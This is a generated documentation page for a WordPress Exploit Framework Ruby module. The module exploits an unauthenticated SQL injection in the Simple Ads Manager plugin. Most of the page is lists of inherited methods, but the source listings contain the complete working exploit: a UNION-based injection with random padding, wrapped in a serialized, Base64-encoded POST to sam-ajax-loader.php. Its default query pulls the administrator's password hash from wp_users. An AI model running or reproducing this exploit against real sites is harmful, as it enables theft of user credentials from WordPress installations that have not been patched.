Class: Wpxf::Auxiliary::SimpleAdsManagerSqlInjection

Inherits:
Module
  • Object
show all
Includes:
Wpxf
Defined in:
lib/wpxf/modules/auxiliary/misc/simple_ads_manager_sql_injection.rb

Constant Summary

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Instance Attribute Summary

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress, #requires_authentication

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initialize ⇒ SimpleAdsManagerSqlInjection

Returns a new instance of SimpleAdsManagerSqlInjection.



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# File 'lib/wpxf/modules/auxiliary/misc/simple_ads_manager_sql_injection.rb', line 9

def initialize
  super

  update_info(
    name: 'Simple Ads Manager SQL Injection',
    desc: 'This module exploits an SQL injection in version '\
          '2.9.5.116 of the Simple Ads Manager plugin which '\
          'allows unauthenticated users to view a single field of '\
          'data at a time, such as e-mails and passwords.',
    author: [
      'Kacper Szurek', # Vulnerability discovery
      'rastating'      # WPXF module
    ],
    references: [
      ['URL', 'http://security.szurek.pl/simple-ads-manager-294116-sql-injection.html'],
      ['WPVDB', '8357']
    ],
    date: 'Dec 30 2015'
  )

  register_options([
    StringOption.new(
      name: 'sql',
      desc: 'The SQL query to execute (maximum of one field selected)',
      default: 'select user_pass from wp_users where ID = 1',
      required: true
    )
  ])
end

Instance Method Details

#check ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/misc/simple_ads_manager_sql_injection.rb', line 64

def check
  check_plugin_version_from_readme('simple-ads-manager', '2.9.5.118', '2.9.4.116')
end

#compile_sqli ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/misc/simple_ads_manager_sql_injection.rb', line 58

def compile_sqli
  padding = ''
  (1..22).each { |i| padding += ",#{Utility::Text.rand_numeric(rand(1..3))}" }
  sql.gsub(/^(select\s+)(.+)(\s+from.+)/i, ") UNION (\\1\\2#{padding}\\3")
end

#encoded_injection ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/misc/simple_ads_manager_sql_injection.rb', line 72

def encoded_injection
  compiled_sqli = compile_sqli
  emit_info "Compiled SQL: #{compiled_sqli}", true
  serialized = "a:4:{s:2:\"WC\";s:3:\"1=0\";s:3:\"WCT\";s:0:\"\";s"\
               ":3:\"WCW\";s:#{compiled_sqli.bytesize}:\"#{compiled_sqli}\""\
               ";s:4:\"WC2W\";s:0:\"\";}"
  Base64.strict_encode64(serialized)
end

#run ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/misc/simple_ads_manager_sql_injection.rb', line 81

def run
  return false unless super

  emit_info 'Validating SQL...'
  unless valid_query?
    emit_error 'Specified query appears to be invalid'
    return false
  end

  emit_info 'Preparing injection...'
  body = {
    'action' => 'load_place',
    'id' => '0',
    'pid' => '1',
    'wc' => encoded_injection
  }

  emit_info 'Executing request...'
  res = execute_post_request(url: vulnerable_url, body: body)

  if res.nil? || res.timed_out?
    emit_error 'No response from the target'
    return false
  end

  if res.code != 200 || res.body.strip.empty?
    emit_info "Response code: #{res.code}", true
    emit_info "Response body: #{res.body}", true
    emit_error 'Failed to execute request'
    return false
  end

  emit_info 'Parsing response...'
  begin
    json = JSON.parse(res.body)
    emit_success "Query result: #{json['pid']}"
  rescue JSON::ParserError
    emit_error 'Could not parse the response'
    return false
  end

  true
end

#sql ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/misc/simple_ads_manager_sql_injection.rb', line 39

def sql
  normalized_option_value('sql')
end

#valid_query? ⇒ Boolean

Returns:

  • (Boolean) 


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# File 'lib/wpxf/modules/auxiliary/misc/simple_ads_manager_sql_injection.rb', line 43

def valid_query?
  match = sql.match(/^select\s+(.+)\s+from.+/i)
  if match.nil?
    emit_error 'Could not determine the field list from the query', true
    return false
  end

  if match[1].include?(',') || match[1].include?('*')
    emit_warning 'More than one field appears to have been selected. This '\
                 'can cause the query to silently fail and return no data'
  end

  true
end

#vulnerable_url ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/misc/simple_ads_manager_sql_injection.rb', line 68

def vulnerable_url
  normalize_uri(wordpress_url_plugins, 'simple-ads-manager', 'sam-ajax-loader.php')
end